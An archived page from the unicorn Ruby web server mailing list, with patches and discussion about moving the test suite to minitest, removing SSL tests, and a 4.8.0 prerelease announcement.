: TestStreamInput#test_big_body_multi [test/unit/test_stream_input.rb:89]:
: Failed assertion, no message given.
:
:
: 2) Failure:
: TestStreamInput#test_gets_long [test/unit/test_stream_input.rb:110]:
: Failed assertion, no message given.
:
make: *** [test/unit/test_stream_input.rb] Error 1
<snip>
: 1) Failure:
: TestTeeInput#test_gets_short [test/unit/test_tee_input.rb:69]:
: Failed assertion, no message given.
:
:
: 2) Failure:
: TestTeeInput#test_big_body_multi [test/unit/test_tee_input.rb:150]:
: Failed assertion, no message given.
:
:
: 3) Failure:
: TestTeeInput#test_chunked_ping_pong [test/unit/test_tee_input.rb:216]:
: Failed assertion, no message given.
:
:
: 4) Failure:
: TestTeeInput#test_chunked [test/unit/test_tee_input.rb:185]:
: Failed assertion, no message given.
:
:
: 5) Failure:
: TestTeeInput#test_chunked_with_trailer [test/unit/test_tee_input.rb:244]:
: Failed assertion, no message given.
:
:
: 6) Failure:
: TestTeeInput#test_gets_long [test/unit/test_tee_input.rb:50]:
: Failed assertion, no message given.
:
:
: 7) Failure:
: TestTeeInput#test_read_in_full_if_content_length [test/unit/test_tee_input.rb:123]:
: Failed assertion, no message given.
:
: 12 runs, 57449 assertions, 7 failures, 0 errors, 0 skips
make: *** [test/unit/test_tee_input.rb] Error 1
^ permalink raw reply [relevance 4%]
* Re: [PATCH] tests: switch to minitest
2014-04-26 6:07 3% ` Eric Wong
@ 2014-05-13 0:46 2% ` Ken Dreyer
2014-05-13 1:13 4% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Ken Dreyer @ 2014-05-13 0:46 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public, mongrel-unicorn
On Sat, Apr 26, 2014 at 12:07 AM, Eric Wong <e@80x24.org> wrote:
> Ken Dreyer <ktdreyer@ktdreyer.com> wrote:
>> Ruby 1.9+ uses Minitest as the backend for Test::Unit. As of Minitest 5,
>> the shim has lost some backwards compatibility. It is time to make the
>> jump to minitest.
>>
>> Adjust the unicorn test suite to support Minitest 5's syntax.
>
> Thank you very much for taking a look at this. I was going to do it
> myself over the summer.
>
> I ran into some problems with our tests forking + minitest/autorun
> causing some problems due to at_exit usage.
Hi Eric,
Thanks very much for looking over my patch.
I've taken a look at yahns and the changes you made there, and I've
also been testing Unicorn here with my patch. I'm a bit confused about
your comments regarding the problems with forking and
minitest/autorun, because I'm not personally seeing test failures
regarding forking and my patch.
I am seeing one failure with the final assert in
TestSocketHelper#test_bind_listen_unix_rebind, but I don't think
that's a result of this, right?
Would you mind pointing me in the right direction?
- Ken
^ permalink raw reply [relevance 2%]
* Re: [PATCH] tests: switch to minitest
2014-04-26 3:20 42% [PATCH] tests: switch to minitest Ken Dreyer
@ 2014-04-26 6:07 3% ` Eric Wong
2014-05-13 0:46 2% ` Ken Dreyer
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2014-04-26 6:07 UTC (permalink / raw)
To: Ken Dreyer; +Cc: unicorn-public, mongrel-unicorn
Ken Dreyer <ktdreyer@ktdreyer.com> wrote:
> Ruby 1.9+ uses Minitest as the backend for Test::Unit. As of Minitest 5,
> the shim has lost some backwards compatibility. It is time to make the
> jump to minitest.
>
> Adjust the unicorn test suite to support Minitest 5's syntax.
Thank you very much for taking a look at this. I was going to do it
myself over the summer.
I ran into some problems with our tests forking + minitest/autorun
causing some problems due to at_exit usage.
We probably need to workaround, I already did something for yahns
which we can reuse[1] in unicorn.
> Minitest versions 4 and below do not support the newer Minitest::Test
> class that arrived in version 5. For that case, use the
> MiniTest::Unit::TestCase class as a fallback.
For yahns, I did the following:
----------- git://yhbt.net/yahns -- test/helper.rb ------------------
gem 'minitest'
begin # favor minitest 5
require 'minitest'
Testcase = Minitest::Test
mtobj = Minitest
rescue NameError, LoadError # but support minitest 4
require 'minitest/unit'
Testcase = Minitest::Unit::TestCase
mtobj = MiniTest::Unit.new
end
# Not using minitest/autorun because that doesn't guard against redundant
# extra runs with fork. We cannot use exit! in the tests either
# (since users/apps hosted on yahns _should_ expect exit, not exit!).
TSTART_PID = $$
at_exit do
# skipping @@after_run stuff in minitest since we don't need it
case $!
when nil, SystemExit
exit(mtobj.run(ARGV)) if $$ == TSTART_PID
end
end
-------------------------------- 8< -------------------------------
I'd appreciate a second opinion on what I did with yahns above,
but it should work with unicorn.
Can you take a look at integrating+fixing those cases which fork?
Thanks again.
> Please keep me in the CC as I'm not subscribed to the unicorn email list.
No problem. Also keeping unicorn-public@bogomips.org Cc-ed since that's
the new public-inbox[2] address and reply-all will be the norm there.
Hopefully public-inbox can encourage more drive-by contributors like
you :)
[1] - Fwiw, I give myself permission to relicense any yahns GPLv3+
test code I wrote to (GPLv2+ || Ruby 1.8 license) for unicorn.
[2] - http://public-inbox.org/
^ permalink raw reply [relevance 3%]
* [PATCH] tests: switch to minitest
@ 2014-04-26 3:20 42% Ken Dreyer
2014-04-26 6:07 3% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Ken Dreyer @ 2014-04-26 3:20 UTC (permalink / raw)
To: mongrel-unicorn; +Cc: Ken Dreyer
Ruby 1.9+ uses Minitest as the backend for Test::Unit. As of Minitest 5,
the shim has lost some backwards compatibility. It is time to make the
jump to minitest.
Adjust the unicorn test suite to support Minitest 5's syntax.
Minitest versions 4 and below do not support the newer Minitest::Test
class that arrived in version 5. For that case, use the
MiniTest::Unit::TestCase class as a fallback.
---
Please keep me in the CC as I'm not subscribed to the unicorn email list.
setup.rb | 12 ++++--------
test/exec/test_exec.rb | 16 ++++++++--------
test/test_helper.rb | 13 ++++++++++---
test/unit/test_configurator.rb | 8 +++-----
test/unit/test_droplet.rb | 4 ++--
test/unit/test_http_parser.rb | 2 +-
test/unit/test_http_parser_ng.rb | 12 ++++++------
test/unit/test_http_parser_xftrust.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_response.rb | 2 +-
test/unit/test_server.rb | 2 +-
test/unit/test_signals.rb | 2 +-
test/unit/test_sni_hostnames.rb | 4 ++--
test/unit/test_socket_helper.rb | 2 +-
test/unit/test_stream_input.rb | 4 ++--
test/unit/test_tee_input.rb | 4 ++--
test/unit/test_upload.rb | 4 ++--
test/unit/test_util.rb | 2 +-
unicorn.gemspec | 1 +
19 files changed, 50 insertions(+), 48 deletions(-)
diff --git a/setup.rb b/setup.rb
index cf1abd9..42ce95c 100644
--- a/setup.rb
+++ b/setup.rb
@@ -1458,14 +1458,10 @@ class Installer
return
end
$stderr.puts 'Running tests...' if verbose?
- begin
- require 'test/unit'
- rescue LoadError
- setup_rb_error 'test/unit cannot loaded. You need Ruby 1.8 or later to invoke this task.'
- end
- runner = Test::Unit::AutoRunner.new(true)
- runner.to_run << TESTDIR
- runner.run
+ $dir = File.dirname(File.expand_path(__FILE__))
+ $LOAD_PATH.unshift $dir
+ $LOAD_PATH.unshift $dir + '/lib/'
+ Dir.glob "./test/**/test_*.rb", &method(:require)
end
#
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 10a1bae..dd13931 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -20,7 +20,7 @@ unless try_require('rack')
do_test = false
end
-class ExecTest < Test::Unit::TestCase
+class ExecTest < Minitest::Test
trap(:QUIT, 'IGNORE')
HI = <<-EOS
@@ -316,7 +316,7 @@ EOF
assert(system($unicorn_bin, "-h"), "help text returns true")
end
assert_equal 0, File.stat("test_stderr.#$$.log").size
- assert_not_equal 0, File.stat("test_stdout.#$$.log").size
+ refute_equal 0, File.stat("test_stdout.#$$.log").size
lines = File.readlines("test_stdout.#$$.log")
# Be considerate of the on-call technician working from their
@@ -386,7 +386,7 @@ EOF
wait_for_file(old_file)
wait_for_file(pid_file)
new_pid = File.read(pid_file).to_i
- assert_not_equal current_pid, new_pid
+ refute_equal current_pid, new_pid
assert_equal current_pid, File.read(old_file).to_i
results = retry_hit(["http://#{@addr}:#{@port}/",
"http://#{@addr}:#{port2}/"])
@@ -448,7 +448,7 @@ EOF
wait_for_file(old_file)
wait_for_file(pid_file)
new_pid = File.read(pid_file).to_i
- assert_not_equal current_pid, new_pid
+ refute_equal current_pid, new_pid
assert_equal current_pid, File.read(old_file).to_i
results = retry_hit(["http://#{@addr}:#{@port}/"])
assert_equal String, results[0].class
@@ -520,7 +520,7 @@ EOF
results = retry_hit(["http://#{@addr}:#{@port}/"])
assert_equal String, results[0].class
worker_pid = results[0].to_i
- assert_not_equal pid, worker_pid
+ refute_equal pid, worker_pid
s = UNIXSocket.new(tmp.path)
s.syswrite("GET / HTTP/1.0\r\n\r\n")
results = ''
@@ -755,7 +755,7 @@ EOF
assert_equal String, results.class
end
- assert_not_equal 0, new_log.size
+ refute_equal 0, new_log.size
reexec_usr2_quit_test(pid, pid_file)
end
@@ -777,7 +777,7 @@ EOF
assert_equal String, results[0].class
wait_for_file(pid_file)
new_pid = File.read(pid_file).to_i
- assert_not_equal pid, new_pid
+ refute_equal pid, new_pid
pid, status = Process.waitpid2(pid)
assert status.success?, "original process exited successfully"
Process.kill(0, new_pid)
@@ -845,7 +845,7 @@ EOF
File.truncate(log.path, 0)
wait_for_file(pid_file)
pid = File.read(pid_file).to_i
- assert_not_equal orig_pid, pid
+ refute_equal orig_pid, pid
curr_fds = `ls -l /proc/#{pid}/fd`.split(/\n/)
assert $?.success?
diff --git a/test/test_helper.rb b/test/test_helper.rb
index c65f2f3..db7def1 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -18,7 +18,7 @@ ENV['NO_PROXY'] ||= ENV['UNICORN_TEST_ADDR'] || '127.0.0.1'
DEFAULT_TRIES = 1000
DEFAULT_RES = 0.2
-require 'test/unit'
+require 'minitest/autorun'
require 'net/http'
require 'digest/sha1'
require 'uri'
@@ -34,6 +34,13 @@ if ENV['DEBUG']
Debugger.start
end
+if Minitest.const_defined?('Test')
+ # We're on Minitest 5+. Nothing to do here.
+else
+ # Minitest 4 doesn't have Minitest::Test yet.
+ Minitest::Test = MiniTest::Unit::TestCase
+end
+
def redirect_test_io
orig_err = STDERR.dup
orig_out = STDOUT.dup
@@ -199,7 +206,7 @@ def reexec_usr2_quit_test(pid, pid_file)
new_pid = File.read(pid_file).to_i
# kill old master process
- assert_not_equal pid, new_pid
+ refute_equal pid, new_pid
assert_equal pid, old_pid
Process.kill(:QUIT, old_pid)
retry_hit(["http://#{@addr}:#{@port}/"])
@@ -225,7 +232,7 @@ def reexec_basic_test(pid, pid_file)
wait_master_ready(master_log)
assert File.exist?(pid_file), "pid=#{pid_file} exists"
new_pid = File.read(pid_file).to_i
- assert_not_equal pid, new_pid
+ refute_equal pid, new_pid
Process.kill(0, new_pid)
Process.kill(:QUIT, new_pid)
end
diff --git a/test/unit/test_configurator.rb b/test/unit/test_configurator.rb
index 1298f0e..3aa7076 100644
--- a/test/unit/test_configurator.rb
+++ b/test/unit/test_configurator.rb
@@ -1,12 +1,12 @@
# -*- encoding: binary -*-
-require 'test/unit'
+require 'test/test_helper'
require 'tempfile'
require 'unicorn'
TestStruct = Struct.new(
*(Unicorn::Configurator::DEFAULTS.keys + %w(listener_opts listeners)))
-class TestConfigurator < Test::Unit::TestCase
+class TestConfigurator < Minitest::Test
def test_config_init
Unicorn::Configurator.new {}
@@ -137,9 +137,7 @@ class TestConfigurator < Test::Unit::TestCase
test_struct = TestStruct.new
tmp.syswrite("check_client_connection true\n")
- assert_nothing_raised do
- Unicorn::Configurator.new(:config_file => tmp.path).commit!(test_struct)
- end
+ Unicorn::Configurator.new(:config_file => tmp.path).commit!(test_struct)
assert test_struct.check_client_connection
end
diff --git a/test/unit/test_droplet.rb b/test/unit/test_droplet.rb
index 73cf38c..30360db 100644
--- a/test/unit/test_droplet.rb
+++ b/test/unit/test_droplet.rb
@@ -1,7 +1,7 @@
-require 'test/unit'
+require 'test/test_helper'
require 'unicorn'
-class TestDroplet < Test::Unit::TestCase
+class TestDroplet < Minitest::Test
def test_create_many_droplets
now = Time.now.to_i
tmp = (0..1024).map do |i|
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 8d5b251..23984fd 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -11,7 +11,7 @@ require 'test/test_helper'
include Unicorn
-class HttpParserTest < Test::Unit::TestCase
+class HttpParserTest < Minitest::Test
def test_parse_simple
parser = HttpParser.new
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index ab335ac..65e9ea2 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -5,7 +5,7 @@ require 'digest/md5'
include Unicorn
-class HttpParserNgTest < Test::Unit::TestCase
+class HttpParserNgTest < Minitest::Test
def setup
HttpParser.keepalive_requests = HttpParser::KEEPALIVE_REQUESTS_DEFAULT
@@ -456,13 +456,13 @@ class HttpParserNgTest < Test::Unit::TestCase
"#{n.to_s(16)}\r\na\r\n2\r\n..\r\n0\r\n"
assert_equal req, @parser.parse
assert_nil @parser.content_length
- assert_raise(HttpParserError) { @parser.filter_body('', str) }
+ assert_raises(HttpParserError) { @parser.filter_body('', str) }
end
def test_overflow_content_length
n = HttpParser::LENGTH_MAX + 1
@parser.buf << "PUT / HTTP/1.1\r\nContent-Length: #{n}\r\n\r\n"
- assert_raise(HttpParserError) { @parser.parse }
+ assert_raises(HttpParserError) { @parser.parse }
end
def test_bad_chunk
@@ -472,12 +472,12 @@ class HttpParserNgTest < Test::Unit::TestCase
req = @parser.env
assert_equal req, @parser.parse
assert_nil @parser.content_length
- assert_raise(HttpParserError) { @parser.filter_body("", @parser.buf) }
+ assert_raises(HttpParserError) { @parser.filter_body("", @parser.buf) }
end
def test_bad_content_length
@parser.buf << "PUT / HTTP/1.1\r\nContent-Length: 7ff\r\n\r\n"
- assert_raise(HttpParserError) { @parser.parse }
+ assert_raises(HttpParserError) { @parser.parse }
end
def test_bad_trailers
@@ -494,7 +494,7 @@ class HttpParserNgTest < Test::Unit::TestCase
assert_equal 'a..', tmp
assert_equal '', str
str << "Transfer-Encoding: identity\r\n\r\n"
- assert_raise(HttpParserError) { @parser.parse }
+ assert_raises(HttpParserError) { @parser.parse }
end
def test_repeat_headers
diff --git a/test/unit/test_http_parser_xftrust.rb b/test/unit/test_http_parser_xftrust.rb
index db8cfa9..373a5f1 100644
--- a/test/unit/test_http_parser_xftrust.rb
+++ b/test/unit/test_http_parser_xftrust.rb
@@ -3,7 +3,7 @@ require 'test/test_helper'
include Unicorn
-class HttpParserXFTrustTest < Test::Unit::TestCase
+class HttpParserXFTrustTest < Minitest::Test
def setup
assert HttpParser.trust_x_forwarded?
end
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index fbda1a2..5c3b7bd 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -8,7 +8,7 @@ require 'test/test_helper'
include Unicorn
-class RequestTest < Test::Unit::TestCase
+class RequestTest < Minitest::Test
class MockRequest < StringIO
alias_method :readpartial, :sysread
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 85ac085..aa32e5b 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -12,7 +12,7 @@ require 'time'
include Unicorn
-class ResponseTest < Test::Unit::TestCase
+class ResponseTest < Minitest::Test
include Unicorn::HttpResponse
def test_httpdate
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index e5b335f..273af7b 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -24,7 +24,7 @@ class TestHandler
end
-class WebServerTest < Test::Unit::TestCase
+class WebServerTest < Minitest::Test
def setup
@valid_request = "GET / HTTP/1.1\r\nHost: www.zedshaw.com\r\nContent-Type: text/plain\r\n\r\n"
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 443c736..4bb32a5 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -21,7 +21,7 @@ class Dd
end
end
-class SignalsTest < Test::Unit::TestCase
+class SignalsTest < Minitest::Test
def setup
@bs = 1 * 1024 * 1024
diff --git a/test/unit/test_sni_hostnames.rb b/test/unit/test_sni_hostnames.rb
index 457afee..ef9dcb2 100644
--- a/test/unit/test_sni_hostnames.rb
+++ b/test/unit/test_sni_hostnames.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-require "test/unit"
+require "test/test_helper"
require "unicorn"
# this tests an implementation detail, it may change so this test
# can be removed later.
-class TestSniHostnames < Test::Unit::TestCase
+class TestSniHostnames < Minitest::Test
include Unicorn::SSLServer
def setup
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 8992757..6c70833 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -3,7 +3,7 @@
require 'test/test_helper'
require 'tempfile'
-class TestSocketHelper < Test::Unit::TestCase
+class TestSocketHelper < Minitest::Test
include Unicorn::SocketHelper
attr_reader :logger
GET_SLASH = "GET / HTTP/1.0\r\n\r\n".freeze
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 1a07ec3..ea4d069 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-require 'test/unit'
+require 'test/test_helper'
require 'digest/sha1'
require 'unicorn'
-class TestStreamInput < Test::Unit::TestCase
+class TestStreamInput < Minitest::Test
def setup
@rs = $/
@env = {}
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 0c2c941..59a12cb 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/unit'
+require 'test/test_helper'
require 'digest/sha1'
require 'unicorn'
@@ -8,7 +8,7 @@ class TeeInput < Unicorn::TeeInput
attr_accessor :tmp, :len
end
-class TestTeeInput < Test::Unit::TestCase
+class TestTeeInput < Minitest::Test
def setup
@rs = $/
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
index bcce4bc..060afaa 100644
--- a/test/unit/test_upload.rb
+++ b/test/unit/test_upload.rb
@@ -6,7 +6,7 @@ require 'digest/md5'
include Unicorn
-class UploadTest < Test::Unit::TestCase
+class UploadTest < Minitest::Test
def setup
@addr = ENV['UNICORN_TEST_ADDR'] || '127.0.0.1'
@@ -160,7 +160,7 @@ class UploadTest < Test::Unit::TestCase
sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
@count.times { sock.syswrite(buf) }
- assert_raise(Errno::ECONNRESET, Errno::EPIPE) do
+ assert_raises(Errno::ECONNRESET, Errno::EPIPE) do
::Unicorn::Const::CHUNK_SIZE.times { sock.syswrite(buf) }
end
sock.gets
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 904d51c..28a13cb 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -3,7 +3,7 @@
require 'test/test_helper'
require 'tempfile'
-class TestUtil < Test::Unit::TestCase
+class TestUtil < Minitest::Test
EXPECT_FLAGS = File::WRONLY | File::APPEND
def test_reopen_logs_noop
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 4619a89..c990640 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -38,6 +38,7 @@ Gem::Specification.new do |s|
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('isolate', '~> 3.2')
+ s.add_development_dependency('minitest', '~> 5')
s.add_development_dependency('wrongdoc', '~> 1.6.1')
s.licenses = ["GPLv2+", "Ruby 1.8"]
--
1.9.0
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 42%]
* [PATCH 1/2] remove SSL tests
@ 2014-02-19 21:07 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-02-19 21:07 UTC (permalink / raw)
To: mongrel-unicorn
This feature is on hold for now, since it never really took
off and kgio-monkey is more-or-less abandoned. I'm not looking
forward to supporting OpenSSL unless there's interest.
This was mainly intended as an experiment to deal with a bad
hardware/firmware situation on a LAN I have. It allowed SSL
to abort on corrupt packets.
---
script/isolate_for_tests | 1 -
t/.gitignore | 1 -
t/GNUmakefile | 6 +---
t/sslgen.sh | 71 -------------------------------------------
t/t0600-https-server-basic.sh | 48 -----------------------------
5 files changed, 1 insertion(+), 126 deletions(-)
delete mode 100755 t/sslgen.sh
delete mode 100755 t/t0600-https-server-basic.sh
diff --git a/script/isolate_for_tests b/script/isolate_for_tests
index 63df48e..6f0a9fc 100755
--- a/script/isolate_for_tests
+++ b/script/isolate_for_tests
@@ -17,7 +17,6 @@ opts = {
pid = fork do
Isolate.now!(opts) do
gem 'raindrops', '0.12.0'
- gem 'kgio-monkey', '0.4.0'
gem 'kgio', '2.8.1'
gem 'rack', '1.5.2'
end
diff --git a/t/.gitignore b/t/.gitignore
index 1ba7e52..2312321 100644
--- a/t/.gitignore
+++ b/t/.gitignore
@@ -2,4 +2,3 @@
/.dep+*
/*.crt
/*.key
-/ssl-stamp
diff --git a/t/GNUmakefile b/t/GNUmakefile
index bac50a6..8f2668c 100644
--- a/t/GNUmakefile
+++ b/t/GNUmakefile
@@ -45,11 +45,7 @@ random_blob:
dd if=/dev/urandom bs=1M count=30 of=$@.$(pid)
mv $@.$(pid) $@
-ssl-stamp:
- ./sslgen.sh
- > $@
-
-$(T): random_blob ssl-stamp
+$(T): random_blob
dependencies := socat curl
deps := $(addprefix .dep+,$(dependencies))
diff --git a/t/sslgen.sh b/t/sslgen.sh
deleted file mode 100755
index e37d966..0000000
--- a/t/sslgen.sh
+++ /dev/null
@@ -1,71 +0,0 @@
-#!/bin/sh
-set -e
-
-lock=$0.lock
-while ! mkdir $lock 2>/dev/null
-do
- echo >&2 "PID=$$ waiting for $lock"
- sleep 1
-done
-pid=$$
-trap 'if test $$ -eq $pid; then rmdir $lock; fi' EXIT
-
-certinfo() {
- echo US
- echo Hell
- echo A Very Special Place
- echo Monkeys
- echo Poo-Flingers
- echo 127.0.0.1
- echo kgio@bogomips.org
-}
-
-certinfo2() {
- certinfo
- echo
- echo
-}
-
-ca_certinfo () {
- echo US
- echo Hell
- echo An Even More Special Place
- echo Deranged Monkeys
- echo Poo-Hurlers
- echo 127.6.6.6
- echo unicorn@bogomips.org
-}
-
-openssl genrsa -out ca.key 1024
-ca_certinfo | openssl req -new -x509 -days 666 -key ca.key -out ca.crt
-
-openssl genrsa -out bad-ca.key 1024
-ca_certinfo | openssl req -new -x509 -days 666 -key bad-ca.key -out bad-ca.crt
-
-openssl genrsa -out server.key 1024
-certinfo2 | openssl req -new -key server.key -out server.csr
-
-openssl x509 -req -days 666 \
- -in server.csr -CA ca.crt -CAkey ca.key -set_serial 1 -out server.crt
-n=2
-mk_client_cert () {
- CLIENT=$1
- openssl genrsa -out $CLIENT.key 1024
- certinfo2 | openssl req -new -key $CLIENT.key -out $CLIENT.csr
-
- openssl x509 -req -days 666 \
- -in $CLIENT.csr -CA $CA.crt -CAkey $CA.key -set_serial $n \
- -out $CLIENT.crt
- rm -f $CLIENT.csr
- n=$(($n + 1))
-}
-
-CA=ca
-mk_client_cert client1
-mk_client_cert client2
-
-CA=bad-ca mk_client_cert bad-client
-
-rm -f server.csr
-
-echo OK
diff --git a/t/t0600-https-server-basic.sh b/t/t0600-https-server-basic.sh
deleted file mode 100755
index 5dd0d65..0000000
--- a/t/t0600-https-server-basic.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 7 "simple HTTPS connection tests"
-
-t_begin "setup and start" && {
- rtmpfiles curl_err
- unicorn_setup
-cat > $unicorn_config <<EOF
-ssl do
- listen "$listen"
- ssl_certificate "server.crt"
- ssl_certificate_key "server.key"
-end
-pid "$pid"
-stderr_path "$r_err"
-stdout_path "$r_out"
-EOF
- unicorn -D -c $unicorn_config env.ru
- unicorn_wait_start
-}
-
-t_begin "single request" && {
- curl -sSfv --cacert ca.crt https://$listen/
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_begin "multiple requests" && {
- curl -sSfv --no-keepalive --cacert ca.crt \
- https://$listen/ https://$listen/ 2>> $curl_err >> $tmp
- dbgcat curl_err
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_done
--
1.9.0.rc3.13.gda73b5f
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 2%]
* Re: [ANN] unicorn 4.8.0.pre1 prerelease gem
2013-12-09 9:54 2% [ANN] unicorn 4.8.0.pre1 prerelease gem Eric Wong
@ 2014-01-09 21:50 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-01-09 21:50 UTC (permalink / raw)
To: mongrel-unicorn
Eric Wong <normalperson@yhbt.net> wrote:
> tests: fix SO_REUSEPORT tests for old Linux and non-Linux
> stream_input: avoid IO#close on client disconnect
> t0300: kill off stray processes in test
> always write PID file early for compatibility
> doc: clarify SIGNALS and reference init example
> rework master-to-worker signaling to use a pipe
Btw, has anybody tried this? I haven't noticed any issues, and I'm
thinking about releasing this as 4.8.0 as-is (with some minor doc
updates)
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* [ANN] unicorn 4.8.0.pre1 prerelease gem
@ 2013-12-09 9:54 2% Eric Wong
2014-01-09 21:50 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2013-12-09 9:54 UTC (permalink / raw)
To: mongrel-unicorn
Changes since 4.7.0:
Eric Wong (6):
tests: fix SO_REUSEPORT tests for old Linux and non-Linux
stream_input: avoid IO#close on client disconnect
t0300: kill off stray processes in test
always write PID file early for compatibility
doc: clarify SIGNALS and reference init example
rework master-to-worker signaling to use a pipe
gem install --pre unicorn
git://bogomips.org/unicorn
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 2%]
Results 1-200 of ~700 next (older) | reverse | options above
-- pct% links below jump to the message on this page, permalinks otherwise --
2013-12-09 9:54 2% [ANN] unicorn 4.8.0.pre1 prerelease gem Eric Wong
2014-01-09 21:50 0% ` Eric Wong
2014-02-19 21:07 2% [PATCH 1/2] remove SSL tests Eric Wong
2014-04-26 3:20 42% [PATCH] tests: switch to minitest Ken Dreyer
2014-04-26 6:07 3% ` Eric Wong
2014-05-13 0:46 2% ` Ken Dreyer
2014-05-13 1:13 4% ` Eric Wong
2014-05-25 3:52 2% unicorn 5 roadmap Eric Wong
2014-08-02 7:46 10% Please move to github Gary Grossman
2014-08-02 7:51 12% Gary Grossman
2014-08-02 7:54 0% ` Kapil Israni
2014-08-02 8:50 2% ` Eric Wong
2014-08-17 2:33 2% more house-cleaning for unicorn 5 Eric Wong
2014-08-17 2:33 15% ` [PATCH 2/3] unicorn.gemspec: depend on test-unit 3.0 Eric Wong
2014-08-17 2:33 15% ` [PATCH 3/3] http_response: remove Status: header Eric Wong
2014-08-21 12:05 Worker SIGABRT takes down all workers? Jonathan del Strother
2014-08-21 20:32 2% ` Eric Wong
2014-09-22 1:05 4% [PATCH 0/4] a few more minor cleanups pushed out Eric Wong
2014-09-22 1:05 18% ` [PATCH 2/4] remove mongrel.rubyforge.org references Eric Wong
2014-09-22 1:05 15% ` [PATCH 3/4] http: remove the keepalive requests limit Eric Wong
2014-09-22 1:05 11% ` [PATCH 4/4] http: reduce parser from 72 to 56 bytes on 64-bit Eric Wong
2014-11-12 19:46 Issue with Unicorn: Big latency when getting a request Roberto Cordoba del Moral
2014-11-13 7:12 2% ` Roberto Cordoba del Moral
2014-11-13 21:03 ` Eric Wong
2014-11-14 6:46 ` Roberto Cordoba del Moral
2014-11-14 7:19 ` Eric Wong
2014-11-14 9:09 ` Roberto Cordoba del Moral
2014-11-14 9:32 ` Roberto Cordoba del Moral
2014-11-14 10:02 2% ` Eric Wong
2014-11-14 10:12 0% ` Roberto Cordoba del Moral
2014-11-14 10:15 1% ` Roberto Cordoba del Moral
2014-11-16 8:32 11% [RFC] http: TypedData C-API conversion Eric Wong
2014-12-03 9:50 No, passenger 5.0 is not faster than unicorn :) Bráulio Bhavamitra
2014-12-03 11:00 ` Hongli Lai
2014-12-03 14:10 2% ` Bráulio Bhavamitra
2014-12-21 10:43 8% [PATCH] t/t0002-parser-error.sh: relax test for rack 1.6.0 Eric Wong
2014-12-21 11:17 7% [PATCH] remove SSL support Eric Wong
2015-02-04 20:16 30% [PATCH] http: standalone require + reduction in binary size Eric Wong
2015-02-04 20:16 13% [PATCH] GNUmakefile: fix clean gem build + reduce build cruft Eric Wong
2015-02-05 17:19 8% [PATCH] socket_helper: reduce constant lookups and caching Eric Wong
2015-02-06 20:15 13% [PATCH] doc: update support status for Ruby versions Eric Wong
2015-02-06 22:17 37% [PATCH] fix uninstalled testing and reduce require paths Eric Wong
2015-02-06 22:34 14% [PATCH] test_socket_helper: do not depend on SO_REUSEPORT Eric Wong
2015-03-02 20:34 11% [RFC] http: remove experimental dechunk! method Eric Wong
2015-03-24 22:43 nginx reverse proxy getting ECONNRESET Michael Fischer
2015-03-24 22:54 3% ` Eric Wong
